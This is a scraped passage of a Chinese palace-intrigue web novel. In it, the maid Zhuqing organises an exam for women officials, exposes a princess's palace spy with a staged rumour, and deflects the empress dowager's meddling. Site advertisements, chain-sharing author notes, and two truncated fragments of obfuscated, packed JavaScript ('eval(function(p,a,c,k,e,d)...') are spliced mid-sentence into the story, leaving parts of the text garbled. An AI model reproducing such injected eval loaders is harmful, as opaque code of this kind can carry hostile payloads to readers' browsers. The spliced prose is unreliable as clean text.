“娘娘疼爱奴婢,奴婢却不好仗着您的爱惜就随意开口,要这个要那个。这不,等着娘娘您自个说。要是娘娘不说,奴婢就只能等在归义大将军府门口, 做那死皮赖脸的人候着人家回来了。”竹清一番话逗笑了皇后让她心情舒坦又与竹清说了好些需要注意的事。 “归义大将军的夫人是个豪爽的女子虽然出身文官但是行为举止倒更像是武将家里出来的姐儿待人接物爽快她与你想必很有话说。”皇后话锋一转又说道:“不过她是如此借住她家的她的侄女儿却不是如此很是有几分骄傲性子娇纵你去了也许会遇上她。” 连皇后都听闻娇纵的姐儿可想而知到底有多“有名”竹清问道:“那姐儿就一直住着麽?” “据说是来京都住几个月哪儿知从六岁一直住到十五岁都不曾走。归义大将军曾经没了一个嫡女千娇万宠五岁了高烧而死。故而这个表小姐进了归义大将军府那可是当作嫡小姐养的。”皇后略有些嘲讽“他们的亲生女儿要是知道自个的父母把宠爱移到旁人身上只怕伤心欲绝。” 竹清听明白了归义大将军死了一个女儿就为夫人接了侄女儿过来原是想着宽慰夫人几日哪曾想夫人不愿意让侄女儿回去了 他们归义大将军府上又没有女孩儿便把这个表小姐当大小姐养如珠如宝宠得她不成样子。 “只不过依本宫看他们还是有几分对亲生女儿的感情不然直接把表小姐过继过来岂不是更如意?”皇后说到底不好让一个表小姐占了将军府嫡出小姐的位子。 如此这般竹清把帖子送去将军府也回帖定下了五日后上门感谢。 却说殿中省被搬空竹清走进去时还有宫人在打扫卫生这是彻底扫除干净才能在这里建起尚宫局。 “姑姑林公公来了。”林忠海虽然死罪免去但是活罪难逃被痛打三十大板半死不活。依旧被贬了贬成最低等的扫洒太监好歹保住了一条命。 他往日威风菊儿便也喊他一声林公公而不是小林子。 “林公公今日有空?”竹清询问扫宫道可是很繁琐尤其是今日下雪宫道上不能留雪也不能有水痕便只能一遍一遍地打扫。 “与人换了差。”林忠海身形佝偻那是疼的到现在伤还没有好全乎。这还是他花了大把大把银钱贿赂行刑的人这才逃过一死。 “竹清姑姑,能否借一步说话?”林忠海扫了一眼,里头的人都装模作样清扫,实则竖起耳朵,听他想说甚麽。 多年来受的尊敬让他不想被他们看热闹,他看向竹清,眼里有一丝不易察觉的哀求。 “这边。”竹清颔首,主动在前边走着,菊儿则在远处守着,不让人靠近。 “林公公有何事?”竹清问道,林忠海自嘲地笑了笑,说道:“快别 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倒也没有说单子是假的,但是半真半假,反倒让人难以分辨。她要是不确定真假,就拿了一份单子去给皇后,自然是不行的。 “这,您说如何验真假?我都听。”林忠海如今只能低头,竹清能帮他,已经是用了从前的交情,他不能再得寸进尺。 “单子呢?”竹清问,林忠海咬咬牙,拿出来了,竹清随手点了几个,又看了看他们背后的主子,便低声在林忠海耳边说道:“你这般做……” 说完法子,竹清就问他,“可能要花一些银钱,看你自个愿不愿意。” “愿意的。”林忠海不能心疼钱,大不了,把宅子卖一套。 如此,就说定了,只看过些时日,能不能见效。 尚宫局牌匾已经在制作,除了地方,竹清现在还要选人,尚宫局当差的都是女官,识文识字是最基本的要求 还需要有一技之长甚麽算术、甚麽打交道的能力等等。 八司当中除了司衣司、司宝司、司仪司还有行狱司之外其他四个司是新组建也就意味着管事女官也要挑选。 竹清去请皇后的话“娘娘司正司这些女官您可有人选?要不要直接指派还是要选拔?” “嗯……”皇后沉吟“既然是新组建的那就要看看有没有新的人才这样像科考那样本宫与太子商议出一些题目组一场考试临近年关大多宫人得空便安排他们同一日考试须得识字且不能是贴身伺候各个宫妃的宫女嬷嬷还有先考几场小试试一试水平不成的也不能参与司正司计的选拔。” 这就剔除很多人了不过竹清也能理解。司正掌管公正需要清楚律法司计要会筹算统筹能力要过硬。 这两点足以筛选掉许多人。 “那咱们安排入宫的宫女们倒可能占个头彩。”竹清说那些宫女在庄子学了几年女学不差的。 “没有选拔的经验这些都需要咱们一点一点摸索竹清出卷子的事你不用担心本宫会处理。你现在只一个差事那就是寻摸几个宫殿布置好作考场用。还有小考核也该安排起来。”皇后又与竹清商讨哪个宫殿最佳还有——还没说完呢秋霜进来回禀道:“启禀皇后娘娘平妃娘娘晕厥情况实在不好咸福宫的宫人想请娘娘过去看看作个主。” 咸福宫中正乱成一团与平妃同住的几位低位妃嫔聚在正殿外间不知如何是好。 “平妃娘娘您小心……”有位才人喊了一声平妃方才摔了好些茶具瓷片散落一地 “我的儿……”平妃伤心欲绝。 贵人才人们也不敢使唤平妃的宫女于是就这样僵着看着平妃疯癫。 “吵吵嚷嚷成何体统不知道宫里严禁喧嚷吗?”皇后语气严厉环顾一周把宫女们骂了一顿“本宫若是不来你们是不是就由着平妃胡闹?还有这些碎瓶碎盏也不扫了等着本宫让椒房殿的人来扫?” “娘娘息怒。”不独宫女妃嫔们也跟着跪下她们不经常见皇后请安够不上资格这会子也怕。 “你们都下去。”皇 后看着搂着抱枕一脸呆滞的平妃,她坐到一旁,劝道:“平妃,你这又是何必,左右太子没有要全哥儿的命。 若是心狠一些,直接赐一杯毒酒也是可能的。守皇陵,总归是不会掺和进政事中。 “娘娘……平妃其实心里怨恨皇后,恨皇后当初把全哥儿过继出去,若没有,她的儿子会是王爷,有她这样身居妃位的生母,日后差不了。 眼见平妃执迷不悟,皇后直接下令让平妃呆在咸福宫养病,没有她的吩咐,不准踏出咸福宫一步。 变相的禁足。 平妃把皇后的耐心耗尽了。竹清走在轿子旁边,宽慰道:“娘娘别气。 “人心不足蛇吞象。皇后眯着眼睛说,她明白平妃的想法,不就是想着有个儿子作依靠?可是她也不想想,她能得到这个妃位,就是因着她把全哥儿过继出去,故而给几分脸面她。 不然,她如何能坐到现在这个位子?全哥儿又怎麽能平安健康地长大?只怕早就教人害死了! 后宫之中也曾没过几个孩子,平妃就那麽确定,能在风波斗争中保住全哥儿? “罢了,不说这些个事,回宫去,本宫要瞧瞧画像。皇后说的是贵女们的画像,用来选太子妃的,太子预备着登基,总归要娶正妻。哪怕太子妃,未来的国母暂时还没有选出来,也总得有几个贴身的人伺候着。 “对了,还要给太子寻教事的宫女,竹清,你把身家清白长相柔美的宫女都搜集一下,生辰八字、家中情况等等都查清楚。皇后吩咐,竹清应了。 教太子知事?日后进了后宫,少不得有个贵嫔的位子,又是一番小风波要起了。 宫道扫得干干净净,拐个弯,明黄色的轿子就消失在风雪中。 作者有话要说 听说看这本书的人都是很幸运的,分享后你的运气会更棒 第 91 章 搭建考棚,太后插手 第91章搭建考棚,太后插手 尚宫局要选拔女官的事在宫中掀起轩然大波,进宫来的小宫女姑姑们大半都是被家人卖进来亦或是家中没有余粮,不得不卖身的。 谁能想到,宫女还能有机会甄选女官? 又听闻女官待遇与前朝的大人们类似,又体面又有银钱,这样的美事自然人人都想要。 也有那等不想凭着自个努力,反而想走关系当女官的,不独竹清这里,连霜玉姑姑那都有许多人送礼,她知道轻重,故而不受,倒是得罪人了,那人背地里说她显摆。 竹清带着人往西六宫偏僻的宫殿去,既然要布置考场,那就得考虑到安静、干净,赶紧收拾出来搭上小隔间,以防止作弊。 “竹清姑姑到了,长文殿、雨花殿、西昌阁还有三台阁的管事嬷嬷管事太监呢?赶紧出来排好队,等着罢!”说话的是一个面白的嬷嬷,她是西六宫的管事嬷嬷,一早就在这儿候着,见小太监给她汇报轿子已经过假山了,便唤人去寻宫殿的管事人。 两个嬷嬷两个太监稳稳地站她面前,她说,“等会儿都警醒着点,别呆头呆脑,要是惹了竹清姑姑不喜,你们就等着我教训你们。” 轿子还没落,西六宫的管事嬷嬷厉嬷嬷就已经上前,掀帘子、扶人,流水似的顺畅。 竹清问厉嬷嬷,“几个宫殿可提前清扫出来了?我要细看的。” “自皇后娘娘吩咐下来,我就着人打扫,里里外外,扫干净了还不算,还用水擦拭,又焚过香,使殿内清新。”厉嬷嬷回答,竹清见了几个宫殿,确实一尘不染,便点头夸她,“可见你与几个宫的管事都是上心的,我回去必得给你们表功,少不得给你们争个赏赐。” “那我在这里先谢过竹清姑姑了。”厉嬷嬷说,她身后跟着的四个管事更是喜色上眉梢,他们管着的宫殿都无甚用处,平时油水一点没有,这会子能得到奖赏,感觉就像是天上掉馅饼。 霎时,他们心里便偏向于这位竹清姑姑了。 竹清身边还跟着工匠,他们拿着图纸,又有人比比划划,竹清问他们,“如何,长文殿能隔出几个位子?” 这些个工匠是精通此道,往年科考所用的考棚便是他们修缮加固,故而 竹清一问他们马上就答了“正殿能作八十个东西侧殿四十个。” “一共一百二十个不算多也不少。”竹清点头长文殿是小宫殿本就不大能隔出这样多的考棚已经是顶天了的。 通过初筛的宫女共有八百个不只是宫里还有四处行宫皇后说了头一回选拔自是要给所有宫女一个机会出众者胜任。到最后能参考的估计也就三四百人。 工匠们好一顿忙碌又开始动工竹清便退出来 小说的域名caixs?(请来才 小说 看最新章节 完整章节)询问道:“我方才见那个宫里似乎有人怎麽林柒阁还住人吗?” “有一位老太妃病了许久的……”厉嬷嬷解释两人有一搭没一搭地说着闲话。 待看见工匠们把第一个考棚搭建出来竹清便上前检查她昨个特意去京中考院看过所以识得眼前的考棚是一比一还原。 “不错就按照这个标准来这是娘娘给你们的赏赐等你们的差事完成另有一笔。”竹清抬手菊儿便上前挨个发银子。 工匠们态度更加热络劲儿足足的。 且说竹清从西六宫出来就预备着换身衣裳去接人。 今个康安公主递了牌子想给皇后请安皇后允了。这个康安公主是先帝的姊妹只不过生母不显驸马爷一家子也不是甚麽有权势的人故而在京中她一直没有甚重要地位。 “给康安公主请安。”竹清欠了欠身子她方才漏眼瞧了瞧康安公主一双微微上翘的眼睛似乎蕴含着几分聪明与傲慢。 “快起来竹清姑姑皇后娘娘近日忙不忙?”康安公主对竹清很是热情先教贴身丫鬟递了荷包再是让竹清与她并肩。 竹清稍稍落后她一步回答道:“娘娘不算忙知康安公主来娘娘还特意嘱咐了小厨房做饭想留您用午膳。”要是皇后真的忙康安公主也就不会递牌子了她问这一句都是场面话。 “那我等会儿可要好好尝尝小厨房的手艺。”康安公主上了轿子轿帘子一放下她面上就显出算计此次进宫就是为了讨好皇后。 她原本就不受父皇宠爱加之生母不过是一个贵嫔给不了她助力便只能随意挑一个驸马待到如今准备登基的太子与她没有情分她也该出手讨好皇后为后代铺路。 走在轿子旁边的竹清嘴角勾起康安公主啊正是林忠海名单上的一个她在这宫里有暗探如今得知了暗探给她传的消息便巴巴儿地跑进宫。 这就证明林忠海手里的名单确实有几分可信。 “皇后娘娘万福金安。”康安公主行了一个半礼皇后叫起又问她家中情况两人便闲聊上了。 只依照竹清来看这康安公主好似用力过猛只一味地逗皇后笑却没有发现皇后笑容都有些勉强。 聊了两盏茶的时间康安公主挥挥手让跟来的捧礼的丫鬟上前并指了那些个打开的锦盒说道:“皇后娘娘这是妾身庄子的人进献的真珠一颗颗饱满圆滑不管是用来镶嵌在首饰上还是直接把玩都是得趣的。” “再有这颗夜明珠是妾身前几日偶然所得放在殿中夜里不必燃火烛都能瞧得清清楚楚这样的夜明珠合该是娘娘使用妾身把它献给娘娘。” 皇后垂眼看去脸上看不出甚麽欢喜的神色她招手那捧夜明珠的丫鬟就膝行到她跟前竹清接过盒子让皇后能清楚地看见。 “康安公主有心了只是本宫才得了北安州贡献进来的龙凤呈祥的火烛正是稀罕的时候便不留这颗夜明珠了。”皇后说倒是真珠不是甚金贵值钱的物件收了也无妨回礼就好。 康安公主没有想到皇后不受这夜明珠她那个探子明明就说皇后最喜爱夜明珠要是有人送夜明珠定能投其所好得她欢喜。 怎的与她所想完全不一样? 她哪儿知这是竹清与林忠海作的一个局就等着她入套呐! “孝期未过宫中不宜使用这些华贵之物过于奢靡。”皇后见康安公主还想说话 “是。”康安公主有些郁郁实在想不明白为何这回进宫得不到皇后的一个笑脸。 待用罢午膳康安公主就告退了带着她的夜明珠灰溜溜地离开了椒房殿。 竹清端来一盏子茶水伺候皇后漱口又说道:“娘娘您瞧这回可就能确定那宫女是康安公主的人了。” “可不是一试就试明白了。”皇后叹气“只宫中的人都各怀心 思,像康安公主,往常可不入宫。 她掌管后宫,把大部分人笼络在手里,可这般,也挡不住其他人的收买,下边的人要银钱、要前途,也无可厚非。 “那宫女如何处置?竹清询问,皇后懒懒散散地说道:“放着,左不过是个扫地的小宫女,换了她,还不知道内里向着谁,不如这个。说不得日后还能借她的口,达成咱们的目的。 那日,竹清与林忠海“闲谈,恰好让拐角扫地的宫女听见了,她传了话,让康安公主得知皇后喜爱夜明珠,故而才有了进宫的这一趟。 实际上,皇后并不喜欢夜明珠。 “她这是有一条门路就恨不得马上打通,果真不聪明。 “剩下的宫女太监,再挑两回,试上一试,本宫才安心,林忠海的话才可信。皇后把头靠在竹清腰上,让竹清给她揉太阳穴。 “是,此事奴婢会去办好的。竹清应了,她已经想到应对之法。 “娘娘,那卷子可出好了?竹清问,皇后摇头,“尚未,那些个老学究,往日只知道卖弄酸文,让他们做些事情便磨磨蹭蹭。 言罢,皇后要午歇。 竹清放下纱帐,轻手轻脚出了正殿,红花来寻她,低声说道:“姑姑,宫中的青芒还有紫露两个人今日从外头拿了一个包袱进来,像是旁人给的,那人还有要事求她们,我听了一耳朵,有关女官考试的。 “果真?竹清眼神凌厉起来,又让红花附耳朵过来,“……你就这般行事,先探一探她们,瞧瞧具体是甚麽情况,我也好下对策。 “欸。红花点头如捣蒜。 * 翌日,竹清出了宫,坐上马车去归义大将军府,她带了红花出来,留菊儿伺候皇后。 “姑姑,到了。外头车夫说。 归义大将军府正门大开,一位穿金戴银的管事妈妈正等着,见竹清下来,迎上来,客客气气地说道:“是竹清姑姑罢? 红花把帖子递给她,她接了,又说道:“我是夫人身边的奶妈妈,姑姑叫我苗妈妈就好。竹清姑姑随我进去罢,夫人知你今日来,摆了桌儿在梅林那儿接待你。 这便是对竹清的看重了不然不会让奶妈妈出来迎接更别提特意在梅林设宴款待。 归义大将军的夫人长得像个江南水乡的娘子只一开口便有了北地豪酋的爽气“竹清姑姑来坐这我这里有上好的茶新进的你品品也不知合不合你的口味。” “见过夫人大娘子二娘子。”竹清福身除了将军府夫人还有她的两个儿媳在陪宴故而竹清只能在称呼上作区分。 除了三位大娘子还有一位小娘子一个哥儿竹清坐下吃茶将军夫人就与她解释“这位想必你已经认识是我那小儿子霖哥儿淘气得很。这个是我的侄女儿唤汐姐儿。” 也不知听见了甚麽话那汐姐儿明显脸色有些不好也不与竹清见礼只微微颔首。倒是霖哥儿起身微微弯腰有尊重之意。 竹清回礼便是宾主尽欢。 倒是那二娘子瞧了好几眼汐姐儿也不知是何想法忽的勾起嘴角隐隐有些不屑。 “汐姐儿往日教你的规矩都忘记了吗?怎麽把礼仪都抛在脑后?”将军夫人斥责汐姐儿心不甘情不愿地敷衍站起身竹清就制止了“夫人莫怪汐娘子便算了左右不是甚麽要紧事。” 她开口这事就揭过去了。 昨夜下了好一场大雪此时梅林中正是白雪压梅枝红梅衬落雪放眼望去皆是美景看得人心安。 “那日府上小公子救了我我这没甚麽好礼感谢便送了一些药材都是从前皇后娘娘赏的皆是一二百年的好药材。”竹清话毕红花就把那药材放在桌面上有百年老参这个是金贵哪家都用得上。 “都是好物我且谢谢你。”将军夫人倒不是那种要三推三阻才收礼的人当即就谢了又与竹清亲热地说道:“你给了我们这些好礼待会儿我让人去库房随你挑你想要甚麽都成。只要你喜欢挑了拿回去。” 她能对竹清这般礼遇教儿媳们陪宴都是敬着竹清毕竟她可是尚宫往后是宫中女官权力不小。 若是寻常奴婢哪怕是太后身边的 待赏过雪竹清就说要告辞了“皇后娘娘那儿只告了半日假现下宫中事情繁多我是该要回了。” “稍等那礼物不如竹清姑姑亲自去挑?我使了人带你你好生看看有甚麽合心意的。”将军夫人提议竹清应了预备挑几样不贵重的略表意思。 只那一直沉默不语的霖哥儿忽的出声“母亲不如我去?不然总归是失礼。” “去罢。”将军夫人摆摆手让霖哥儿领着竹清去了那汐姐儿原本也想跟着去她那一双眼珠子直直盯着霖哥儿呐一时半会儿不肯移开的。 “汐姐儿你就安静的坐着跟着两位表嫂好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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听听心大了这心里话听得她不舒服打那之后她待汐姐儿就远不如从前。她能给但是汐姐儿却不能主动惦记。 更何况汐姐儿居然还盯上了她的霖哥儿想亲上加亲这如何使得?她的两个儿媳虽然都有一些小毛病但是总归不是她那样是个心肠狠的一副狼心狗肺模样。 要她作了小儿媳恐怕给气她受这是娶个儿媳还是娶个祖宗? 大娘子与二娘子相互对视一眼皆笑了笑。她们两个的夫君比汐姐儿大不少所以汐姐儿入府的时候她们已经嫁过来了也受过她的气娇蛮任性的人哪儿能教她们喜欢? 何况还不是将军府正正经经的姐儿也敢来使唤人。 * 马车上红花不解“那小公子不像不会说话的样怎的方才红了耳朵与面皮 “应该没有罢?”只竹清这语气却是飘忽她也不确定毕竟这个霖哥儿在她面前的那几回要麽不说话要麽就是断断续续说不准搞不好他真的是个口吃。 待回了宫下响寿仁宫来人说太后想皇后了请她过去说话。 “太后?”皇后存疑她与太后早不是那等需要合作的关系有甚麽可想的? “娘娘去了便知道太后娘娘想做甚了。”竹清说又唤人打水来与皇后梳妆打扮。自从她当了掌事宫女已经许久不曾给皇后梳发髻今儿一上手倒也没有生疏。 “若不是她是太后本宫真不想去寿仁宫一见她总要打起精神来应对生怕一个不小心踩进她话语的陷阱里。”皇后神色淡淡但也没有拒绝去。 没了这一回还会有下一回。 待到了寿仁宫照旧与太后圆滑地说了一会子话打了一场机锋太后这才道出目的。 “尚宫局的各司尚且不足人手不若哀家指几个有本事在身的姑姑进去好减轻尚宫的忙碌?”太后气势不减当年虽然因着生病脸色有些灰白但与皇后交锋依旧不落下风 。 “母后,竹清虽忙,却打理得井井有条,半点不出错,依儿臣看,就不必劳动母后了,且让她自己忙去。”皇后说罢,还不等太后开口,就再次说道:“母后如今儿孙环膝,应当颐养天年才是,何须操这种心,倒是让儿臣不安,唯恐母后有何不满。” “哀家没有不满,只是一来,于公,尚宫局的设立关乎大文,关乎后宫,哀家岂能漠视?坐由你这个国母自个操劳。二来,于私,你是哀家的儿媳,哀家不忍心你一个人去做,竹清是你的人,也有能力,只不好总是使唤她一个人,也该让她松快松快。”太后这话冠冕堂皇,又带着几分情分,从两个方面来压皇后。 皇后扯了扯嘴角,冷笑,在心里暗自想道:太后答应不管前朝的事,平静那麽多日,见尚宫局组建,终究按捺不住骨子里争权夺利的性子,也想要分一杯羹。 这会儿是想插人作司正司计,下一步呢?是不是就会动尚宫,想要把竹清拉下来? 皇后猜想不错,太后掌握权力多年,如今教她放下,不是那麽容易的,她能退一步,不掺和朝堂的事,但是后宫,她却想要管。 到底是因为太子与她没有血缘关系,让她不安呢,从前太皇太后不就是与先帝没有血缘,也不得敬重,空有一名头,实则谁把她当回事? 她不得不早作打算。 “竹清,你觉得哀家说的有道理麽?”看皇后预备反驳,太后抢先一步,问了竹清。 她原本以为,尚宫局就与从前的殿中省一般,干些杂事。可是她想岔了,太子让人打了官印,上边写着尚宫两个大字。 后宫中的官印,只比凤印低一等,若有急事,尚宫的官印也可叫开下钥的宫门,也可让后妃听命。 这是前两日太子来请安,亲自与她说的,只那官印还没有制好,若送进宫了,就会给竹清。 竹清不知太后所想,她从皇后身后走到殿中,福了福身,脑子飞速转动。 这是个送命题,搞不好,同时得罪太后与皇后。 作者有话要说 第 92 章 监考,录用女官 第92章监考,录用女官 从太后那儿出来,皇后停了脚步,对着寿仁宫的宫门瞧了许久,待到竹清唤她,她才说道:“走罢。” “方才你做的很好,反驳了她又留有一丝余地,总归是有一层面子皮在,不至于撕破脸。”皇后还记得竹清回完话,太后脸色陡然难看,又开始咳嗽。 “太后娘娘身子只怕是不好了。”竹清低声,上官丞相病重,且先前上官氏损失了不少中年官员,而青年才俊尚且还没有甚麽亮眼的政绩,导致上官氏青黄不接。 太后估计糟心着呢! “病着都要染指尚宫局,真是……”皇后拧眉,又吩咐竹清,“寿仁宫的月例份例都要给足,不可有缺少。” “是。” * 新年前,登基大典举行了,普天同庆。年号改为承平,天下百姓赋税免三年,商税减半,且大开港口。 新帝虽然年幼,但是已经初俱风姿,身上气势也越来越强,他穿着明黄色的龙袍,金龙眼眸明亮,像是活过来似的。 皇后成了太后,而竹清,成了太后宫里的掌事姑姑,兼尚宫局尚宫,只是这会子尚宫局还没有建造完成。 后宫中的妃嫔也成了太妃,不日就要搬去太妃的宫殿居住,只平妃与年号撞了字,改成了瑜妃。 “今日朝臣们再次上奏,要求朕选秀,充实后宫。”皇帝说道,他语气讥讽,“朕才刚刚登基,他们就想着往后宫里放人了,恐怕对于皇后之位,也有想法。” 太后笑了笑,说道:“你后宫一个人都没有,他们怎麽可能没有小心思?单说中宫之主的位子,就让多少女子趋之若鹜。” “皇后……”皇帝显然在思考,“有几个人选,自身才名很不错,高丞相家的孙女高汝安,礼部尚书的小女儿谢微祺,孟太傅的孙女孟学一,母后觉得哪个最好?” 太后没有第一时间回答,而是细细思索,“你的皇后必得贤惠,不可争风吃醋,这几位都不错,素有娴静的美名,孟太傅古板陈旧,他的孙女由他教导,别学了他的酸腐气才好。” 皇后要关心的事多了去了,哪儿能日日扎在书海中? 头一回商议,也没个结果,两人就不谈论了,又问起太 后想去哪个宫殿。按照规矩,太后住寿仁宫,只是现在太皇太后病了,总不好让她老人家撑着病体挪宫。 “哀家住哪个都无所谓,住的舒坦就成,在东六宫挑一个好去处就是,不妨事。太后说,“太皇太后精神不济,皇帝可曾去探望过? “去过一两回,与太皇太后没甚麽话说,就不喜去那了。 “母后不若住承乾宫?离勤政殿近,往后您来,也就不用坐那麽远的轿撵,累的慌。皇帝提议,太后想了想,也答应了,“行,这两日哀家就搬进去,把椒房殿空出来,再让宫人们彻底扫除,为你迎娶皇后作准备。 “寿仁宫就让太皇太后住着,别让她挪了,不然落人口舌,说咱们亏待她。太后说。 既然要迁宫,就得做好准备,竹清领着人去承乾宫,承乾宫先前也是有一个管事太监的,见了竹清来,笑容勉强得很,“竹清姑姑,您来了。他哪里高兴得起来? 竹清作掌事姑姑,他就得另外找去处,要麽留在承乾宫也行,只是上头有人压着,又不是主子真心信任的人,前途也难说。 “苏公公。竹清瞧了他几眼,说道:“不知苏公公愿不愿意留在承乾宫? “竹清姑姑,我自然是想要留下的,不说别的,就说伺候太后娘娘的福气,就是我十辈子修来的,哪里能随便浪费?苏公公低着头带路,言语中尽是谄媚。 “欸,那往后苏公公就管着承乾宫的花草树木,从前在椒房殿,那个管事被赶走了。苏公公,你可愿意?竹清问,苏公公再不愿,也只得应了。只是白白胖胖的身子一扭一扭,心酸地掬了一把伤心泪,这就成了低几等的花草管事了。 承乾宫很大,比之椒房殿还要宽阔,富丽堂皇,靠近正殿的位子有一个花圃,只是还没有种上花。 “都好好打扫,明个儿我要亲自检查。竹清吩咐身后的宫人,随后就去自个住的地方,苏公公不解地问道:“竹清姑姑,这西侧殿可是有何不妥? “不是,西侧殿太后娘娘赏给了我住,我过来瞧瞧。 苏公公在心里倒吸一口气,从前在椒房殿单住一个侧殿也就罢了,如今搬过来,太后居然还是一如既往地信 任她,让她独住一个侧殿。这可比一些低位妃嫔过得还要滋润。 承乾宫清扫完成,第三日,太后就搬进来了。 竹清事情多,又逢冬雨要出宫嫁人,便向太后提议,把菊儿提上去,太后应了。 翻过了新年,竹清又长一岁,今年明显更加忙碌,几个用于考试的宫殿已经搭建好考棚,接下来就是组建人考试。 能到这一步的宫女不算多,一共三百多人,俱都是有学识有本事在身的。她们与人调换了差事,以确保这一天有空。 正月二十四,考试开始了。 竹清是头一回监考大型考试,她安排了霜玉姑姑、巧嬷嬷等人作监考官,在大锣鼓敲了三下后,考试正式开始。 值得一提的是,皇帝与太后来了长文殿走了一圈,却不惊动宫女们,只是望着,显然,他们也在等着结果。 小说的域名caixs?(请来才 小说 看最新章节 完整章节) 待到考试结束,她又领着人批改,糊名、誉写、多评、复核……流程严谨,完全照着科举的严苛程度。 最后批改出来,竹清看见扫了一眼,恰好看见熟悉的名字,正有从庄子女学出来的二十个学生,她们通过了女官考试,能进入尚宫局。 “尚宫,这个得了甲等的宫女算数全对,而且还对如何开源节流作出了阐述。”巧嬷嬷拿了一张卷子过来,只不过下一秒,她就皱眉,道:“但是看她年岁,也太年青了,十八岁。” “我看看。”竹清接过卷子,先看了看卷头,叫陈栩栩,上边有出生年月,她点头,的确年青。 “她还这样小,如何作司计?”巧嬷嬷语气不是那麽赞同,宫中也有鄙视链,年长的嬷嬷瞧不起年青的宫女,有本事的看不起走关系的。 考试是竹清一手操办,八司各有不同,所以考题也就有侧重点,报名的宫女们也只能选其一,以成绩高低来论官位。 而这个陈栩栩,正好是司计司考试中的头名,竹清心里有了计较,只面上不动,问在批卷的其他人,“你们觉得她作司计如何?” “是过于小了,她这个年纪,只怕对司计司一点都不了解,进了司计司,只怕会误事。”说话的是司乐司的司乐,她已经四十多了,面上沟壑不算深,只眼神严肃,看着不是个好相与的。 “齐司乐,此话未免有些不妥。谁不是从年青 的小宫女一步步走上来的?你不给她机会,她怎麽成长?只以年龄说事,儿戏过头了罢?”反驳齐司乐的是司宝司的黎司宝,她向来与齐司乐不对付,故而每回都与齐司乐唱反调。 齐司乐看了看黎司宝,平静的脸上浮现一抹嘲讽,“黎司宝,如果我没有记错的话,你刚刚进宫,不久后,就在宝窑局里摔了一个出窑的天青色花瓶,被管事罚了扫宝窑局一个月。这还不能证明年青误事?” 宝窑局是从前宫里制首饰、造摆件的一个地方,如今归为司宝司。 黎司宝面色慢慢涨红,就是因为齐司乐日日拿这个事嘲讽她,不然,哪个还记得这件陈芝麻烂谷子的丑事? “是吗?”黎司宝深呼吸,回怼道:“年长也不见得事事周全,当年礼乐坊有两个舞女相互陷害,害的领舞受伤,宴席上差点出错,不也是管事的没有提前察觉?我想想,哦,记起来了,那个其中有一个下作的舞女还是齐司乐你的亲戚,是吧?” “她们几个副舞的都是你管的,怎麽,你也没有管好啊?” 黎司宝也戳到了齐司乐的痛脚,那件事害的她差点被赶出礼乐坊,“她可不算我的亲戚,出了五服,算哪门子的亲?再有,人心易变,我岂能钻到别人的脑瓜子里,探到别人肮脏的想法?” 说罢,她觑了竹清一眼,见她已经放下毛笔,靠在椅背上,端着茶盏喝茶,似乎完全没有听见她们争吵,也看不出任何神色。 齐司乐是怕竹清,不知为何,明明竹清比她小一轮,但是对上她,她常常要提前精神来应付,不敢怠慢。她不知竹清这会子的态度,担忧竹清听了黎司宝的话,觉得她能力不行。 司乐这个位子当初可是很多人竞争,她能脱颖而出,除了她原本就是礼乐坊的管事之外,还有一个原因——她孝敬过竹清。 得看尚宫的脸色过活呢! 她也怕有别的人拿出更多的孝敬,然后把她的位置顶了。 到时候,岂不是被黎司宝笑一辈子?这可不行! “继续,其他司有甚麽意见?不妨提出来,大家一起讨论讨论,才好完善尚宫局的架构,毕竟咱们现在是过河摸石头,一步探一个地方。”竹清捏着茶盖,以一副轻松的姿态扫了一圈,除了司正司、司计司还有司修司以外,其他司的管 事都在这儿,除了行狱司的黄时一,竹清没请他,他也没问。 巧嬷嬷如今是巧司衣了,她试探性地说道:“我赞同齐司乐的话,陈栩栩到底太小,不若先作个掌珍,待年长几岁,再提为司计? “陆司仪可有甚麽好提议?竹清问,陆司仪就是霜玉姑姑,她的干娘,自然了解她,故而对于巧司衣的提议,陆司仪否决了。 “我不认同,如果单纯凭借年龄经验来选人,那我们这么大费周章,大范围地选人的意义在哪里?而且批卷还糊名,看不见籍贯年龄,如果看年龄,那这个举动岂不是白费精力?陆司仪语气不疾不徐,说道:“正是要给她们一个机会,所以咱们才会严格按照科举的流程来作,科举麽,下至十一二岁的小童能中秀才,上至五十岁的老翁能得举人,可看年纪? 她这般问,其他人就不吭声了,竹清点点头,赞同。她在心里叹口气,虽然说是考核任命,但是这些在宫里的女子却还是下意识地凭借以往的经验来选人,她们不懂科举,也只以为这次考试能调整。 思维的局限性。 竹清放下茶盏,“我同意陆司仪所说,我们为甚麽要考试?为甚麽要分各司进行考核?就是为了选拔人才,唯才是举。就像方才陆司仪说的那样,如果只看年龄、经验,那我们举行考试的意义在哪里?岂不是白白浪费了银钱,浪费了咱们的时间? “况且,考试的成绩能说明一些事情,她们的学识、注意力、粗心与否等等,都能从卷面上略略看出来。竹清缓了缓,又说道:“考试当然按照成绩来排位,既然陈栩栩是司计科目考试的甲等第一,那这个司计,自然由她来当。 “诸位可有意见?竹清问。陆司仪带头,齐司乐、黎司宝与巧司衣皆站起身来,四个人低头弯腰,恭恭敬敬地回答道:“尚宫大人明智,我等不敢有异议。 “继续,三日后可就要登榜,我们的活计不轻。红花,让人送糕点来,还有三餐,记得让御膳房的人不要迟了送来。竹清吩咐,红花应了,她是暂时跟着竹清来这里作帮手,管着杂活。 “尚宫局人多,我预备着向太后娘娘申请,组建一个小厨房,负责女官们的一日三餐,不然总是让御膳房送,只怕久了,他们会有意见。 明面上当然 没有意见只不过内心是何想法就难说了她可不希望背后有人作怪。 “果真?”其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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行狱司是个吃掉人的地方,孤魂野鬼多,怕冲撞,所以并不设立其他职位,只有一个司长。被唤先生的是为他们审问出谋划策的人,长着羊胡子,爱穿长袍带折扇,一副读书人模样。 宁书检吩咐他们,“好好照顾司长,把他扶到榻上,给他打水擦脸。我不善喝酒,就不扫你们的兴了,先家去。 “欸。待他走后,有人嘀咕道:“甚麽怪人,装斯文,好似不沾染血肉似的,一副良善模样。 “可别管他,他心思重,等下给你一顿教训就完了。 